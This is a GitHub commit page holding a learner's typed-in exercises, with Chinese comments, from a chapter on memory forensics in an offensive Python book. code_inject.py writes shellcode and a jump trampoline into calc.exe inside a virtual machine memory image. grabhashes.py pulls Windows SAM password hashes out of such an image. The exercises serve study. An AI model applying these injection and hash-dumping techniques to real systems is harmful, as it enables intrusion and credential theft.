Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly
Appearance settings

Commit 9102359

Browse filesBrowse files
giantbranchgiantbranch
committed
I eventually finished the book,I'm so happy.Thanks for the people who encourage me
1 parent 5dfedc5 commit 9102359
Copy full SHA for 9102359

File tree

Expand file treeCollapse file tree

1,383 files changed

+583744
-0
lines changed
Filter options

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.
Dismiss banner
Expand file treeCollapse file tree

1,383 files changed

+583744
-0
lines changed

‎我手敲的代码(中文注释)/chapter11/DumpIt/DumpIt.exe

Copy file name to clipboard
203 KB
Binary file not shown.

‎我手敲的代码(中文注释)/chapter11/DumpIt/README.txt

Copy file name to clipboard
+14Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
- MoonSols Windows Memory "DumpIt" v1.3.2.20110401 -
2+
3+
Copyright (C) 2010 - 2011, Matthieu Suiche <http://www.msuiche.net>
4+
Copyright (C) 2010 - 2011, MoonSols <http://www.moonsols.com>
5+
6+
All executables and drivers are NOT redistributable, and licence applies only to one single
7+
user. Reverse engineering is prohibited.
8+
9+
You are experiencing any problems contact us at : support@moonsols.com
10+
11+
12+
This utility is used to generate a physical memory dump of Windows machines. It works with both x86 (32-bits) and x64 (64-bits) machines.
13+
The raw memory dump is generated in the current directory, only a confirmation question is prompted before starting.
14+
Perfect to deploy the executable on USB keys, for quick incident responses needs.

‎我手敲的代码(中文注释)/chapter11/cmeasure.bin

Copy file name to clipboard
138 Bytes
Binary file not shown.

‎我手敲的代码(中文注释)/chapter11/code_inject.py

Copy file name to clipboard
+114Lines changed: 114 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,114 @@
1+
#-*- coding:utf8 -*-
2+
3+
"""
4+
@version:
5+
@author: giantbranch
6+
@file: code_inject.py
7+
@time: 2016/3/16 13:04
8+
"""
9+
10+
import sys
11+
import struct
12+
13+
equals_button = 0x01005D51
14+
15+
# 要分析的内存文件位置
16+
memory_file = "D:\\Windows XP Professional-f6b49762.vmem"
17+
slack_space = None
18+
trampoline_offset = None
19+
20+
# 读入我们的shellcode
21+
sc_fd = open("cmeasure.bin", "rb")
22+
sc = sc_fd.read()
23+
sc_fd.close()
24+
25+
sys.path.append("D:\\volatility-2.3")
26+
27+
import volatility.conf as conf
28+
import volatility.registry as registry
29+
30+
registry.PluginImporter()
31+
config = conf.ConfObject()
32+
33+
import volatility.commands as commands
34+
import volatility.addrspace as addrspace
35+
36+
registry.register_global_options(config, commands.Command)
37+
registry.register_global_options(config, addrspace.BaseAddressSpace)
38+
39+
config.parse_options()
40+
config.PROFILE = "WinXPSP3x86"
41+
config.LOCATION = "file://%s" % memory_file
42+
43+
import volatility.plugins.taskmods as taskmods
44+
45+
p = taskmods.PSList(config)
46+
for process in p.calculate():
47+
if str(process.ImageFileName) == "calc.exe":
48+
print "[*] Found calc.exe with PID %d" % process.UniqueProcessId
49+
print "[*] Hunting for physical offsets...please wait."
50+
51+
address_space = process.get_process_address_space()
52+
pages = address_space.get_available_pages()
53+
54+
# page[0]:页面地址
55+
# page[1]：页面大小
56+
for page in pages:
57+
physical = address_space.vtop(page[0])
58+
if physical is not None:
59+
fd = open(memory_file, "r+")
60+
fd.seek(physical)
61+
buf = fd.read(page[1])
62+
63+
try:
64+
offset = buf.index("\x00" * len(sc))
65+
slack_space = page[0] + offset
66+
67+
print "[*] Found good shellcode location!"
68+
print "[*] Virtual address: 0x%08x" % slack_space
69+
print "[*] Physical address: 0x%08x" % (physical + offset)
70+
print "[*] Injecting shellcode."
71+
72+
fd.seek(physical + offset)
73+
fd.write(sc)
74+
fd.flush()
75+
76+
# 创建我们的跳转代码
77+
# 对应的汇编指令为：
78+
# mov ebx, ADDRESS_OF_SHELLCODE( shellcode地址)
79+
# jmp ebx
80+
tramp = "\xbb%s" % struct.pack("<L", page[0] + offset)
81+
tramp += "\xff\xe3"
82+
83+
if trampoline_offset is not None:
84+
break
85+
86+
except:
87+
pass
88+
89+
fd.close()
90+
91+
# 查看目标代码的位置
92+
if page[0] <= equals_button and equals_button < (page[0] + page[1] -7):
93+
print "[*] Found our trampoline target at: 0x%08x" % (physical)
94+
# 计算虚拟偏移
95+
v_offset = equals_button - page[0]
96+
# 计算物理偏移
97+
trampoline_offset = physical+ v_offset
98+
99+
print "[*] Found our trampoline target at: 0x%08x" % (trampoline_offset)
100+
101+
if slack_space is not None:
102+
break
103+
104+
105+
print "[*] Writing trampoline..."
106+
107+
fd = open(memory_file, "r+")
108+
fd.seek(trampoline_offset)
109+
fd.write(tramp)
110+
fd.close()
111+
112+
print "[*] Done injecting code."
113+
114+

‎我手敲的代码(中文注释)/chapter11/codecoverage.py

Copy file name to clipboard
+37Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
#-*- coding:utf8 -*-
2+
3+
"""
4+
@version:
5+
@author: giantbranch
6+
@file: codecoverage.py
7+
@time: 2016/3/15 23:15
8+
"""
9+
10+
from immlib import *
11+
12+
class cc_hook(LogBpHook):
13+
14+
def __init__(self):
15+
LogBpHook.__init__(self)
16+
self.imm = Debugger()
17+
18+
def run(self, regs):
19+
self.imm.log("%08x" % regs['EIP'], regs['EIP'])
20+
self.imm.deleteBreakpoint(regs['EIP'])
21+
return
22+
23+
24+
def main(args):
25+
26+
imm = Debugger()
27+
28+
calc = imm.getModule("calc.exe")
29+
imm.analyseCode(calc.getCodebase())
30+
31+
functions = imm.getAllFunctions(calc.getCodebase())
32+
33+
hooker = cc_hook()
34+
for function in functions:
35+
hooker.add("%08x" % function, function)
36+
37+
return "Tracking %d functions." % len(functions)

‎我手敲的代码(中文注释)/chapter11/grabhashes.py

Copy file name to clipboard
+70Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
#-*- coding:utf8 -*-
2+
3+
"""
4+
@version:
5+
@author: giantbranch
6+
@file: grabhashes.py
7+
@time: 2016/3/15 20:16
8+
"""
9+
10+
import sys
11+
import struct
12+
import volatility.conf as conf
13+
import volatility.registry as registry
14+
15+
# 要分析的内存文件位置
16+
memory_file = "D:\\Windows XP Professional-f6b49762.vmem"
17+
18+
# volatility的下载的路径
19+
sys.path.append("D:\\volatility-2.3")
20+
21+
registry.PluginImporter()
22+
config = conf.ConfObject()
23+
24+
import volatility.commands as commands
25+
import volatility.addrspace as addrspace
26+
27+
config.parse_options()
28+
config.PROFILE = "WinXPSP3x86"
29+
config.LOCATION = "file://%s" % memory_file
30+
31+
# 注册全局参数
32+
registry.register_global_options(config, commands.Command)
33+
registry.register_global_options(config, addrspace.BaseAddressSpace)
34+
35+
from volatility.plugins.registry.registryapi import RegistryApi
36+
from volatility.plugins.registry.lsadump import HashDump
37+
38+
# 实例化一个RegistryApi类对象（包含常用的注册表帮助类）
39+
registry = RegistryApi(config)
40+
# 等同与hivelist命令
41+
registry.populate_offsets()
42+
43+
sam_offset = None
44+
sys_offset = None
45+
46+
# 循环检索SAM和system键值
47+
for offset in registry.all_offsets:
48+
if registry.all_offsets[offset].endswith("\\SAM"):
49+
sam_offset = offset
50+
print "[*] SAM: 0x%08x" % offset
51+
52+
if registry.all_offsets[offset].endswith("\\system"):
53+
sys_offset = offset
54+
print "[*] System: 0x%08x" % offset
55+
56+
if sam_offset is not None and sys_offset is not None:
57+
config.sys_offset = sys_offset
58+
config.sam_offset = sam_offset
59+
60+
# 创建HashDump对象
61+
hashdump = HashDump(config)
62+
63+
for hash in hashdump.calculate():
64+
print hash
65+
66+
break
67+
68+
69+
if sam_offset is None or sys_offset is None:
70+
print "[*] Failed to find the system or SAM offsets."

‎我手敲的代码(中文注释)/chapter11/immlib/__init__.py

Copy file name to clipboard
+1Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
all = ["immutils"] #for now

‎我手敲的代码(中文注释)/chapter11/immlib/_bsddb.lib

Copy file name to clipboard
1.85 KB
Binary file not shown.

‎我手敲的代码(中文注释)/chapter11/immlib/_ctypes.lib

Copy file name to clipboard
1.68 KB
Binary file not shown.

‎我手敲的代码(中文注释)/chapter11/immlib/_ctypes_test.lib

Copy file name to clipboard
18.8 KB
Binary file not shown.

‎我手敲的代码(中文注释)/chapter11/immlib/_elementtree.lib

Copy file name to clipboard
1.79 KB
Binary file not shown.

‎我手敲的代码(中文注释)/chapter11/immlib/_hashlib.lib

Copy file name to clipboard
1.7 KB
Binary file not shown.

‎我手敲的代码(中文注释)/chapter11/immlib/_msi.lib

Copy file name to clipboard
1.63 KB
Binary file not shown.

‎我手敲的代码(中文注释)/chapter11/immlib/_socket.lib

Copy file name to clipboard
1.88 KB
Binary file not shown.

‎我手敲的代码(中文注释)/chapter11/immlib/_sqlite3.lib

Copy file name to clipboard
1.7 KB
Binary file not shown.

‎我手敲的代码(中文注释)/chapter11/immlib/_ssl.lib

Copy file name to clipboard
1.63 KB
Binary file not shown.

‎我手敲的代码(中文注释)/chapter11/immlib/_testcapi.lib

Copy file name to clipboard
1.71 KB
Binary file not shown.

‎我手敲的代码(中文注释)/chapter11/immlib/_tkinter.lib

Copy file name to clipboard
1.7 KB
Binary file not shown.

‎我手敲的代码(中文注释)/chapter11/immlib/bz2.lib

Copy file name to clipboard
1.61 KB
Binary file not shown.

0 commit comments

Comments
0 (0)
Morty Proxy This is a proxified and sanitized view of the page, visit original site.